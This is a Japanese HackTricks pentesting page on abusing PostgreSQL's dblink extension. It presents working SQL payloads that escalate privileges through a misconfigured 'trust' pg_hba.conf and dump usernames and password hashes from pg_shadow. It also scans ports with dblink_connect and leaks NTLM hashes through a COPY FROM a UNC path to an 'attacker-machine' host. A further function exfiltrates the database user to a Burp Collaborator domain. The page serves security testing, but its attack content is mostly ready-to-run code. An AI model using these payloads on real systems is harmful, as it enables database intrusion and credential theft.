# ネットワーク - プライベシー昇格、ポートスキャナーとNTLMチャレンジレスポンスの漏洩 {{#include ../../../banners/hacktricks-training.md}} **詳細情報は** [**元の論文でこれらの攻撃についてもっと知る**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)ことができます。 **PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[`dblink`](https://www.postgresql.org/docs/current/contrib.html)のような登録された拡張機能は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます: ```sql CREATE EXTENSION dblink; ``` dblinkがロードされると、いくつかの興味深いトリックを実行できるようになります。 ### 特権昇格 ファイル `pg_hba.conf` が不適切に構成されていると、**パスワードを知らなくても** **任意のユーザーとしてlocalhostからの接続を許可する** 可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、不適切な構成は次のようになります。 ``` local all all trust ``` _この設定は、管理者がデータベースユーザーのパスワードを忘れたときにパスワードを変更するために一般的に使用されるため、時々見つけることがあります。_\ &#xNAN;_また、ファイル pg_hba.conf は postgres ユーザーとグループによってのみ読み取り可能で、postgres ユーザーによってのみ書き込み可能であることに注意してください。_ このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresql データベースに接続することを可能にします。 別の可能な誤設定は、次のようなものです: ``` host all all 127.0.0.1/32 trust ``` ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\ この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続し、アクセスできないはずのデータにアクセスすることで **権限を昇格** させることができます: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT); SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` ### ポートスキャン `dblink_connect`を悪用することで、**オープンポートを検索**することもできます。その**関数が機能しない場合は、ドキュメントによれば`dblink_connect_u()`は`dblink_connect()`と同一であり、非スーパーユーザーが任意の認証方法を使用して接続できるようにするため、`dblink_connect_u()`を使用してみるべきです\_。 ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10'); //Different response // Port closed RROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444? // Port Filtered/Timeout ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTP server ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTPS server ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` 注意してください、`dblink_connect` または `dblink_connect_u` を使用する前に、次のコマンドを実行する必要があるかもしれません: ``` CREATE extension dblink; ``` ### UNCパス - NTLMハッシュ漏洩 ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); COPY test FROM E'\\\\attacker-machine\\footestbar.txt'; ``` ```sql -- to extract the value of user and send it to Burp Collaborator CREATE TABLE test(retval text); CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ DECLARE sqlstring TEXT; DECLARE userval TEXT; BEGIN SELECT INTO userval (SELECT user); sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\''; EXECUTE sqlstring; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ``` {{#include ../../../banners/hacktricks-training.md}}